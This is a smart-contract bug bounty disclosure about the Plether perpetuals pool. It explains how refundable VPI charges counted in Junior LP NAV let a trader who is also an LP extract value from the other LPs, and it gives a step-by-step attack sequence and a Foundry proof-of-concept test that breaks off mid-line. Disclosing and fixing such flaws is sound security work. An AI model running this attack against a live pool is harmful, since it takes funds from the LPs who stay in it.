Refundable VPI is counted as Junior NAV: an exiting LP is paid a share, remaining LPs refund it
A skew-increasing trade pays a positive VPI charge that the pool books immediately as Junior LP revenue, but the same trader can close seconds later and reclaim up to that charge as a rebate. A Junior LP who redeems at the hourly settlement between open and close is paid a share of that refundable charge, and the remaining LPs fund the rebate.
- Disclosed after under an hour
#99428 [SC-Critical] Refundable VPI is counted as Junior NAV: an exiting LP is paid a share, remaining LPs refund it
Submitted on Nov 13th 2026 at 16:23:35 UTC by @xbriefer for Audit Competition | Plether
- Report ID: #99428
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Theft of unclaimed yield
Description
Brief / Intro
A skew-increasing open pays a positive VPI charge V. The pool books the whole charge as LP revenue at once, so the next reconcile puts it into Junior principal. The charge is not final: when the same trader closes and the skew falls back, the pool pays a rebate of up to V (lifetime-VPI clamp) from free pool cash. LP NAV carries nothing for that pending rebate.
A Junior LP whose redemption is funded at the hourly LP settlement between the open and the close is therefore paid a pro-rata share of V, and the LPs that stay pay the rebate a few seconds later. One address that is both trader and Junior LP can do this deliberately: open about 20 seconds before the hour boundary, let the redemption settle, close. The price does not need to move.
PoC at the DEPLOYMENT.md risk parameters, pool of 1,002,000 USDG, measured against the same cycle without the trade: attacker +143.55 USDG, the other Junior LP −298.33 USDG per cycle. Over 8 cycles (24 h): attacker +1,164.85 USDG, the other LP −2,403.88 USDG (1.20% of its capital). An ordinary new depositor is hit by the same mispricing: a 200,000 USDG Junior deposit that activates while the charge sits in the pool is worth 199,863.69 USDG right after the trader's close.
Relation to the AI-scan item "Temporary pool-liquidity reduction can amplify a skew-reducing close rebate". That item is about the size of the rebate: lower depth at the close lets a trader reclaim more than the curve allows, up to the lifetime clamp. In the attack below the LP exit does lower depth and the clamp binds, so the trader gets V back instead of the plain curve value. That effect is 0.58 USDG per cycle (trader balance 9,687.43 with the exit vs 9,686.86 without). The value moved to the exiting LP here is 445.14 USDG per cycle (the other LP's loss is 298.33 USDG) and comes from the exit price, which counts V as Junior equity. Two tests isolate it from depth: in the depth-neutral control a third party deposits the amount the attacker redeems at the same boundary, depth at the close is higher than at the open, the clamp does not bind (rebate 761.46 < 761.71 paid), and the exiting LP still collects the same 445.14 USDG; in the new-depositor test there is no exit at all, depth rises by 20%, and the depositor still loses 136.31 USDG.
Vulnerability Details
Frozen commit a82d4fefb02768e5b3bddcc97dee371eee24fea8, paths under packages/perps/src.
-
Open: the VPI charge is pool cash and LP revenue immediately.
CfdEngineSettlementSidecar.executeOpenL446-464 debits the trade cost to the pool (clearinghouse.applyOpenCost(..., host.pool(), ...)) and callsrecordClaimantInflow(poolCashInflowAssets, Revenue, CashArrived);HousePool.recordClaimantInflowL640-642 doesaccountedAssets += amount. The position records the charge invpiAccrued(_writeOpenPosition, L517). -
LP settlement: the charge is Junior principal.
HousePool._settleLpEpochreconciles first (L835).HousePoolAccountingLib.buildReconcileSnapshotL60-78 computes distributable equity as physical assets minus trader claims plus the terminal price delta.HousePoolReconcilePlanLib.planReconcileL84-99 routes the surplus over principal throughHousePoolWaterfallAccountingLib.distributeRevenueL140-159 (Senior up to its high-water mark, the rest to Junior). Junior redemptions are then priced from that principal (L840,_fundRedemptionPhaseL944-1028). No term for outstanding positivevpiAccruedexists in the snapshot, the terminal book or the withdrawal reserve. -
Close: the pool pays a rebate of up to
V.CloseAccountingLib.buildCloseStateL103-118 takes the fresh curve delta, which is negative for a skew-reducing close, and only clamps it so thataccrued + delta >= 0.CfdEnginePlanLib._planCloseActionSettlementL1041-1060 turns the negative net action amount intoactionRebateAssets(net of the close fee); L970-978 pays it from pool cash that is free of trader claims and waives only what that cash cannot cover;CfdEngineSettlementSidecar._executeCloseL621-624 executespool.payOut(...)andsettleAssets(...). In the PoC the pool holds about 702,000 USDG at the close (1,002,000 minus the 300,000 redeemed; derived, not logged), so nothing is waived. The opener controls the trigger: it is its own close. -
What the design covers and what it does not. The documents keep VPI out of the marked price book on purpose (
ACCOUNTING_SPEC.mdL140-142;SECURITY.mdL863) and state that "neither anticipated VPI nor its reserve inflates terminalKor symmetric NAV" (SECURITY.mdL871-872). That holds for anticipated VPI and for the negative side: a negative lifetime VPI is locked in a dedicated reserve so that "LPs cannot withdraw it as marked equity before the matching position obligation settles" (WHITEPAPER.mdL887-888,ACCOUNTING_SPEC.mdL821-822), and the lifetime clamp is commented "Prevents LP sandwich attacks" (CloseAccountingLibL112-115). For collected positive VPI the same exclusion works the other way: the cash is inside NAV through physical assets, the rebate it is exposed to is not, and LPs can withdraw it before the position settles. The clamp does not help: the trader's lifetime VPI ends at zero (test 1) or slightly above (test 3), so the clamp never takes anything back; the value leaves on the LP leg.Two documented points need a direct answer.
SECURITY.mdL871-872 also says unfunded rebates are "waived rather than claim-backed". The waiver only applies when free pool cash is short; with cash present the rebate is paid in full, and the opener decides when.ACCOUNTING_SPEC.mdL731-739 accepts that a trader and an incoming LP can time carry collection, as a "collection-time ownership policy". Carry is final once collected. VPI is not: the pool pays it back on the trader's own close, which is why counting it as distributable equity at collection time lets it leave twice.The public docs describe the two sides the same way. The trading-costs page (docs.plether.com) says "Positive VPI is a liquidity pool inflow" and that positive VPI is "pool trading revenue owned by LPs", while a negative value is "a provisional rebate" that "may be reclaimed when that exposure closes". So the provisional status and its reserve exist for rebates the trader received. Nothing marks a charge the trader paid as provisional, although the pool pays it back on the same close path. Neither the docs nor
SECURITY.md(including "VPI limitations", L1434-1444) mention that collected positive VPI is paid out to exiting LPs before it is final.SECURITY.mdL1036-1062 says the five-minute quiet period "is not an immutable settlement snapshot" and that "trading, closes, liquidations, claims, carry, and pool accounting can change NAV"; the docs say shares keep gaining or losing value until a withdrawal is funded. That describes NAV moving with real results between cutoff and settlement. The case here is different: at the settlement itself the NAV formula counts cash that a single trader can take back seconds later, so the exit price includes a charge that is still refundable at the moment it is fixed, and the same party can place both the charge and the exit.
Attack sequence (one cycle, production entrypoints, no privileged call)
The attacker holds Junior shares past the 1 h cooldown and margin in the clearinghouse (one address for both in the PoC files).
- Before the 5-minute cutoff:
juniorVault.requestRedeem(shares, attacker, attacker). - About 20 s before the hour boundary:
commitOrder(LONG, 39% of pool depth; the skew cap is 40%) andexecuteOrderwith the first post-commit tick.V = k·s²/(2·D)goes to the pool: 761.71 USDG. - At the boundary:
router.settleLpEpoch(update). The redemption is funded at a Junior price that includesV; the attacker claims the USDG. - Right after: commit and execute the full close. The pool pays the curve rebate, capped at
V, net of the close fee (605.42 USDG). - Re-deposit, activation at the next boundary, 1 h cooldown, repeat (3 h cycle in the PoC).
Per cycle the exiting LP gains g·V (g = redeemed share of Junior). The trader pays two execution fees of 4 bps of notional; the open fee goes to the treasury and the close fee stays in the pool. Break-even at s = 0.39·D is g ≈ 41% (2 × 156.28 / 761.71).
Impact Details
- Who loses: whoever holds Junior between the settlement and the close funds the rebate pro rata without having received the matching share of the charge. With no new entrant that is the remaining LP: against the same cycle without the trade it loses 298.33 USDG (without the trade it loses only the Senior coupon, 7.90 USDG, derived from tests 1 and 2; with the trade but without the LP exit it gains its share of the close fee). In the depth-neutral test it is the incoming depositor (−362.17 USDG), while the original LP ends 60.75 USDG up.
- Who gains: the exiting LP. Attacker after trading fees: +143.55 USDG per cycle against the same cycle without the trade. Pool: 501k Senior, 501k Junior including the 1k fixture seeds, attacker 300k (60% of Junior).
- Repeatability: 8 cycles in 24 h of open market in this configuration: attacker +1,164.85 USDG, other LP −2,403.88 USDG (1.20% of its capital).
- Mispricing without an attacker: any Junior entry or exit that settles while a refundable charge is in the pool is mispriced by its share of that charge. New-depositor test: −136.31 USDG on 200,000 USDG right after entry.
- Bound: a charge one account can create and reclaim is limited by the skew cap:
V ≤ k·0.4²/2 = 8 bpsof pool depth per cycle.
Preconditions and limits (measured in M3VpiNavExit_Sensitivity.t.sol, each against the same cycle without the trade):
| Condition | Attacker | Other Junior LP |
|---|---|---|
| attacker redeems 40% of Junior | −8.49 | −147.30 |
| attacker redeems 45% of Junior | +29.52 | −185.13 |
| Pyth confidence 5 bps per component (adverse execution shift) | +88.71 | −243.76 |
| Pyth confidence 10 bps (the configured maximum ratio) | +33.88 | −189.18 |
| Senior 70% of pool: exit only 70% funded under the Senior-share limit | −43.47 | −111.88 |
| another trader opens the opposite side (half size) before the attacker's close | −617.88 | −777.09 |
- The exit must be fully funded: the Senior-share limit (80%) requires Junior ≥ Senior·0.25 after the redemption, and the free-asset reserve subtracts the open position's maximum liability. The attacker must redeem at least about 41% of Junior (rows 1 and 2), and Junior must be large enough for that redemption to pass the limit: about 30% of the pool at the 41% minimum, about 38% at the 60% share used here (derived). In row 5 Junior is 30% of the pool, the 60% exit is only partly funded and the cycle loses money. Existing skew in the same direction lowers the required share; opposite skew raises it.
- The trader position is open for about 21 seconds across the boundary. Price moves in that window are zero-mean PnL on the trader leg. An opposite-side order executed in that window takes part of the rebate and the cycle loses money (last row).
- The fixture's mock Pyth has zero confidence, so the side-adverse confidence shift is not charged in the main PoC; rows 3 and 4 measure it with the fixture multiplier of 2,000 bps. At the
DEPLOYMENT.mdmultiplier of 2,500 bps the cost is a quarter higher; at the 10 bps confidence maximum the attacker result extrapolates to about break-even (linear extrapolation, not run). - Only in live market hours.
- All amounts use the
DEPLOYMENT.mdrisk parameters, which the program names as the basis for severity (VPI factor 1%, skew cap 40%, execution fee 4 bps), not the repository's test-fixture values. They scale with those parameters:Vwith the VPI factor and the square of the skew cap, the break-even share with the fee.
Impact: High — Theft of unclaimed yield. The amount taken is LP revenue that was paid out before it was final; the LPs that stay make it good. The amount per cycle is capped at 8 bps of pool depth and depends on the preconditions above (share of Junior, pool composition, oracle confidence, no opposite flow in the window). Per the program rules, feasibility affects only the payout.
References
packages/perps/src/CfdEngineSettlementSidecar.solL446-464, L517, L621-624packages/perps/src/HousePool.solL624-651, L835-888, L944-1028, L1205-1217, L1555-1599packages/perps/src/libraries/HousePoolAccountingLib.solL60-78;HousePoolReconcilePlanLib.solL84-99;HousePoolWaterfallAccountingLib.solL140-159packages/perps/src/libraries/CloseAccountingLib.solL103-118;CfdEnginePlanLib.solL970-978, L1041-1060packages/perps/SECURITY.mdL859-863, L871-872, L1036-1062, L1434-1444; docs.plether.com trading-costs and LP-returns pages;WHITEPAPER.mdL411-412, L887-888;ACCOUNTING_SPEC.mdL140-142, L731-739, L821-822
Known issues checked:
- AI scan "Temporary pool-liquidity reduction can amplify a skew-reducing close rebate" and "Temporary pool liquidity can reduce a skew-increasing close charge": root cause is execution-time depth in the VPI formula. Different root cause here (NAV counts refundable VPI); see Brief and the depth-neutral test.
SECURITY.md"VPI limitations": L1443 says the clamp "intentionally zeroes otherwise extractable rebate-only round trips". Here the clamp does zero the trader's VPI; the value leaves on the LP leg.SECURITY.md"LP request cutoff": NAV is not a snapshot between cutoff and settlement. It does not say NAV includes revenue that is still refundable.- SC-M3 (initial-margin projection), SC-H1 and Cecuro MED-12 (other revenue-routing issues, fixed).
Recommended fix
Keep refundable VPI out of distributable LP equity until it is final. Either hold positive VPI in a pool-side pending bucket (like the existing pending claimant buckets) and release to LP revenue only what is no longer refundable when the paying position is closed or liquidated, or subtract the aggregate refundable amount from distributable equity in the reconcile snapshot (for example the current curve potential C(skew), capped by the sum of positive lifetime accruals) so that LP entry and exit are priced net of it.
Proof of Concept
Proof of Concept
Files (new test files only; no in-scope contract modified):
packages/perps/test/perps/audit/M3VpiNavExit.t.sol— 5 testspackages/perps/test/perps/audit/M3VpiNavExit_Sensitivity.t.sol— 6 tests (the table above)
Fixture: the repository's BasePerpTest (mock Pyth with zero confidence, mock settlement token, Router deployed as the repository's LegacyOrderRouterHarness, which is OrderRouter plus a scalar commit overload the tests do not use). The DEPLOYMENT.md risk parameters (VPI 1%, skew cap 40%, maintenance 10 bps, initial 20 bps, FAD 300 bps, carry 500 bps, bounty 10 bps) are passed to the Engine constructor through the fixture's _riskParams override; the Senior limits (40M / 80%) go through the owner propose/finalize path; the fixture's LP funding helper installs marks through the Router address. The attack path calls only V3 commitOrder(OrderRequest), executeOrder, OrderRouter.settleLpEpoch(bytes[]) and the vault request/claim functions.
Run from the repository root:
forge test --root packages/perps --match-path "test/perps/audit/M3VpiNavExit*.t.sol" -vv
Result: 11 passed, also with Forge 1.5.1 (the version named on the program page) and solc 0.8.35 via-IR on a clean checkout of the frozen commit. Amounts in USDG.
test_PoC_StepByStep_RefundableVpiIsPaidToExitingLp— one boundary with assertions at every step. Pool depth 1,002,000; notional 390,700; VPI paid 761.709031; Junior price 0.999304 → 1.000816 at the exit → 0.997806 after the rebate; LP exit +445.139520 over the 300,000 deposited; pool pays 605.423932 at the close; trader round trip −312.565099; attacker net +132.574421; other LP 199,994.212470 → 199,694.350626.test_PoC_AttackVersusControls_OneCycle— same starting state three ways: (A) LP exit and re-entry without the trade, (B) trade round trip without the LP exit, (C) attack. Other LP: A 199,986.31, B 200,051.66, C 199,687.98. Attacker total C − A: +143.545385. Trader balance: B 9,686.856634, C 9,687.434901.test_PoC_DepthNeutral_ExitStillCapturesVpi— a third party deposits 300,000 at the same boundary. Depth at close 1,002,316.57 (open: 1,002,000.00); rebate 761.463453 < 761.709031 paid; LP exit gain 445.139520; attacker net +132.333942; the third-party deposit is worth 299,637.829059 afterwards (−362.170941).test_PoC_NewDepositorInheritsTraderRebateObligation— no exit at all. A 200,000 deposit activates at price 1.000816 (0.999297 before the open) and is worth 199,863.687095 after the trader's close (−136.312905).test_PoC_Repeatable_EightCycles— 8 cycles vs the same 8 cycles without the trade: attacker +1,164.851911, other LP −2,403.880521 (120 bps of its capital).
Test file 1: packages/perps/test/perps/audit/M3VpiNavExit.t.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {console2} from "forge-std/console2.sol";
/// @title PoC: collected-but-refundable VPI is priced into Junior LP NAV
/// @notice A Junior LP that redeems at the hourly settlement is paid a pro-rata share of a VPI charge that the
/// protocol still owes back to the trader (lifetime-VPI clamp). The remaining Junior LPs fund the full
/// rebate afterwards. A party controlling both the trader and the LP can repeat this each cycle in which
/// its exit is fully funded.
/// @dev Fixture: repo `BasePerpTest` (mock Pyth with zero confidence, mock settlement token, Router deployed as
/// the repo's `LegacyOrderRouterHarness` = `OrderRouter` plus a scalar commit overload this test does not
/// use). setUp sets the DEPLOYMENT.md risk parameters and Senior limits through the owner config path.
/// The attack path only calls production entrypoints: V3 `commitOrder`, `executeOrder`, `settleLpEpoch`
/// and the vault request/claim functions. No in-scope contract is modified.
contract M3VpiNavExitPoC is BasePerpTest {
/// @dev One address is both the Junior LP and the trader (LP shares live in the vault, margin in the
/// clearinghouse). The two names only keep the test readable.
address internal constant ATTACKER_LP = address(0xA77AC1);
address internal constant ATTACKER_TRADER = ATTACKER_LP;
address internal constant VICTIM_LP = address(0x71C71);
address internal constant SENIOR_LP = address(0x5E5105);
uint256 internal constant SENIOR_ASSETS = 500_000e6;
uint256 internal constant ATTACKER_JUNIOR_ASSETS = 300_000e6;
uint256 internal constant VICTIM_JUNIOR_ASSETS = 200_000e6;
uint256 internal constant TRADER_FUNDS = 10_000e6;
uint256 internal constant PRICE = 1e8;
uint256 internal clientNonce;
struct Outcome {
uint256 attackerLpValue; // wallet USDG + Junior shares at projected price
uint256 attackerTraderBalance; // clearinghouse settlement balance
uint256 victimValue; // victim Junior shares at projected price
uint256 seniorPrincipal;
uint256 treasuryBalance;
}
// ------------------------------------------------------------------
// Fixture
// ------------------------------------------------------------------
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 0;
}
/// @dev packages/perps/DEPLOYMENT.md release risk parameters.
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function setUp() public override {
super.setUp();
// DEPLOYMENT.md Senior limits: 40M USDG and 80% of the pool.
_setSeniorCapacity(40_000_000e6, 8000);
_fundJunior(ATTACKER_LP, ATTACKER_JUNIOR_ASSETS);
_fundJunior(VICTIM_LP, VICTIM_JUNIOR_ASSETS);
_fundSenior(SENIOR_LP, SENIOR_ASSETS);
_fundTrader(ATTACKER_TRADER, TRADER_FUNDS);
// Start every scenario 10 minutes into a fresh LP epoch with all share cooldowns elapsed.
_warp(pool.lpEpochStart(pool.currentLpEpoch() + 3) + 600);
}
// ------------------------------------------------------------------
// Helpers (production entrypoints only)
// ------------------------------------------------------------------
function _warp(
uint256 timestamp
) internal {
vm.warp(timestamp);
vm.roll(vm.getBlockNumber() + 1);
}
function _request(
CfdTypes.Side side,
uint256 size,
uint256 margin,
bool isClose
) internal returns (OrderV3Types.OrderRequest memory r) {
r.clientOrderId = keccak256(abi.encode("M3", ++clientNonce));
r.side = side;
r.sizeDelta = size;
r.marginDelta = margin;
r.targetPrice = (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1;
r.isClose = isClose;
r.bounds.submitBy = uint64(vm.getBlockTimestamp() + router.maxExecutionWindowSeconds());
r.bounds.executionWindowSeconds = uint32(router.maxExecutionWindowSeconds());
r.bounds.allowedExecutionModes = 7;
r.bounds.expectedConfigHash = router.lifecycleBook().currentExecutionConfigHash();
r.bounds.maxExecutionBountyAssets = type(uint256).max;
r.bounds.maxExecutionNotionalAssets = type(uint256).max;
r.bounds.maxGrossAccountDebitAssets = type(uint256).max;
r.bounds.maxActionChargeAssets = type(uint256).max;
r.bounds.maxExplicitFeesAssets = type(uint256).max;
r.bounds.maxPostPositionSize = type(uint256).max;
r.bounds.maxPostLeverageBps = type(uint32).max;
}
/// @dev Trader commits a V3 order and executes it itself with the first post-commit tick (keepers are
/// permissionless; self-execution returns the opening bounty to the account).
function _commitAndExecute(
CfdTypes.Side side,
uint256 size,
uint256 margin,
bool isClose
) internal {
OrderV3Types.OrderRequest memory r = _request(side, size, margin, isClose);
vm.prank(ATTACKER_TRADER);
uint64 orderId = router.commitOrder(r);
bytes[] memory update = _mockPythUpdateData(PRICE);
vm.prank(ATTACKER_TRADER);
OrderV3Types.ExecutionResult memory result = router.executeOrder(orderId, update);
assertEq(uint8(result.status), uint8(OrderV3Types.LifecycleStatus.Executed), "order executed");
}
function _juniorPrice1e18() internal view returns (uint256) {
(, uint256 juniorPrincipal,,) = pool.getPendingTrancheState();
return juniorPrincipal * 1e18 / juniorVault.totalSupply();
}
function _juniorValue(
address lp
) internal view returns (uint256) {
(, uint256 juniorPrincipal,,) = pool.getPendingTrancheState();
return juniorPrincipal * juniorVault.balanceOf(lp) / juniorVault.totalSupply();
}
function _outcome() internal view returns (Outcome memory o) {
o.attackerLpValue = settlementToken.balanceOf(ATTACKER_LP) + _juniorValue(ATTACKER_LP);
o.attackerTraderBalance = clearinghouse.balanceAssets(ATTACKER_TRADER);
o.victimValue = _juniorValue(VICTIM_LP);
(o.seniorPrincipal,,,) = pool.getPendingTrancheState();
o.treasuryBalance = clearinghouse.balanceAssets(engine.protocolTreasury());
}
/// @notice One 3-hour cycle. `trade`: the trader opens a skew-creating LONG 20 s before the hour boundary and
/// closes it right after LP settlement. `lpExit`: the attacker LP redeems all Junior shares at that
/// boundary and re-deposits afterwards.
function _cycle(
bool trade,
bool lpExit
) internal {
uint256 redeemRequestId;
uint256 shares = juniorVault.balanceOf(ATTACKER_LP);
if (lpExit) {
vm.prank(ATTACKER_LP);
redeemRequestId = juniorVault.requestRedeem(shares, ATTACKER_LP, ATTACKER_LP);
}
uint256 boundary = pool.lpEpochStart(pool.currentLpEpoch() + 1);
// 39% of pool depth (skew cap is 40%), whole 100-token lots.
uint256 size = ((pool.totalAssets() * 39 / 100) / 100e6) * 100e18;
_warp(boundary - 20);
if (trade) {
_commitAndExecute(CfdTypes.Side.LONG, size, 4000e6, false);
}
// Hour boundary: anyone settles the LP epoch through the Router with a post-boundary tick.
// (Without a queued LP request there is no epoch work and settlement would revert with NoLpEpochProgress.)
_warp(boundary);
if (lpExit) {
router.settleLpEpoch(_mockPythUpdateData(PRICE));
}
if (lpExit) {
assertEq(juniorVault.claimableRedeemRequest(redeemRequestId, ATTACKER_LP), shares, "exit fully funded");
vm.prank(ATTACKER_LP);
juniorVault.claimRedeem(redeemRequestId, shares, ATTACKER_LP, ATTACKER_LP);
}
if (trade) {
_commitAndExecute(CfdTypes.Side.LONG, size, 0, true);
(uint256 remainingSize,,,,,,) = engine.positions(ATTACKER_TRADER);
assertEq(remainingSize, 0, "position closed");
}
if (lpExit) {
// Re-enter with the full proceeds: request -> next boundary activation -> claim -> 1h cooldown.
uint256 assets = settlementToken.balanceOf(ATTACKER_LP);
vm.startPrank(ATTACKER_LP);
settlementToken.approve(address(juniorVault), assets);
uint256 depositRequestId = juniorVault.requestDeposit(assets, ATTACKER_LP, ATTACKER_LP);
vm.stopPrank();
_warp(boundary + 3600);
router.settleLpEpoch(_mockPythUpdateData(PRICE));
vm.prank(ATTACKER_LP);
juniorVault.claimDeposit(depositRequestId, assets, ATTACKER_LP, ATTACKER_LP);
_warp(boundary + 2 * 3600 + 1);
} else {
_warp(boundary + 2 * 3600 + 1);
}
}
function _run(
bool trade,
bool lpExit,
uint256 cycles
) internal returns (Outcome memory o) {
for (uint256 i; i < cycles; ++i) {
_cycle(trade, lpExit);
}
o = _outcome();
}
// ------------------------------------------------------------------
// Tests
// ------------------------------------------------------------------
/// @notice Shows the mechanism step by step for one hour boundary.
function test_PoC_StepByStep_RefundableVpiIsPaidToExitingLp() public {
uint256 shares = juniorVault.balanceOf(ATTACKER_LP);
uint256 priceBefore = _juniorPrice1e18();
uint256 victimBefore = _juniorValue(VICTIM_LP);
vm.prank(ATTACKER_LP);
uint256 requestId = juniorVault.requestRedeem(shares, ATTACKER_LP, ATTACKER_LP);
uint256 boundary = pool.lpEpochStart(requestId);
uint256 size = ((pool.totalAssets() * 39 / 100) / 100e6) * 100e18;
console2.log("pool depth (totalAssets) ", pool.totalAssets());
console2.log("position notional at 1.00 ", size / 1e12);
// (1) Trader pays VPI into the pool.
_warp(boundary - 20);
uint256 poolBeforeOpen = pool.totalAssets();
uint256 traderBefore = clearinghouse.balanceAssets(ATTACKER_TRADER);
_commitAndExecute(CfdTypes.Side.LONG, size, 4000e6, false);
(,,,,,, int256 vpiAccrued) = engine.positions(ATTACKER_TRADER);
uint256 vpiPaid = uint256(vpiAccrued);
assertGt(vpiAccrued, 0, "skew-creating open pays positive VPI");
assertEq(pool.totalAssets() - poolBeforeOpen, vpiPaid, "VPI is pool cash immediately");
// (2) LP settlement prices the whole VPI charge into Junior NAV.
_warp(boundary);
router.settleLpEpoch(_mockPythUpdateData(PRICE));
uint256 priceAtExit = _juniorPrice1e18();
vm.prank(ATTACKER_LP);
uint256 exitAssets = juniorVault.claimRedeem(requestId, shares, ATTACKER_LP, ATTACKER_LP);
assertGt(priceAtExit, priceBefore, "exit price includes the VPI charge");
// (3) Trader closes at the same price and is rebated the VPI (lifetime clamp) from the pool.
uint256 poolBeforeClose = pool.totalAssets();
_commitAndExecute(CfdTypes.Side.LONG, size, 0, true);
uint256 poolPaidAtClose = poolBeforeClose - pool.totalAssets();
uint256 traderAfter = clearinghouse.balanceAssets(ATTACKER_TRADER);
uint256 priceAfter = _juniorPrice1e18();
uint256 victimAfter = _juniorValue(VICTIM_LP);
console2.log("VPI paid at open (USDG atoms) ", vpiPaid);
console2.log("Junior price before (1e18) ", priceB
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The reconcile snapshot and redemption pricing count collected positive VPI as distributable Junior equity even though the pool still owes a rebate on it until the paying position closes.
Impact
An exiting LP could take a pro-rata share of refundable VPI revenue, with the remaining LPs losing about 1.20% of their capital over eight cycles, though the gain is capped at 8 bps of pool depth per cycle and depends on the exit being fully funded and no opposite flow in the window.
What the attacker needed
Junior LP shares past the 1 h cooldown; Margin in the clearinghouse; Exit fully funded under Senior-share limit; Redeem at least ~41% of Junior
The fix
Refundable VPI should be kept out of distributable LP equity until it is final, either by holding it in a pending bucket released only when the paying position closes or liquidates, or by subtracting the aggregate refundable amount from distributable equity in the reconcile snapshot.
How it was found
- Request a Junior share redemption before the five-minute cutoff.
- About 20 seconds before the hour boundary, commit and execute a skew-increasing open at 39% of pool depth.
- At the boundary, settle the LP epoch so the redemption is funded at a price that includes the VPI charge, then claim.
- Immediately commit and execute the full close so the pool pays the rebate.
- Re-deposit, wait for activation and the cooldown, then repeat.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A liquidity pool holds money for people who deposit it, and each depositor's share is worth a slice of the pool. Here the pool counted a trading fee as final profit the moment it arrived, even though the same trader could take most of it back by closing the trade shortly after. Someone who withdrew their share in that short window was paid as if the fee were real, and the depositors who stayed had to cover the refund.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.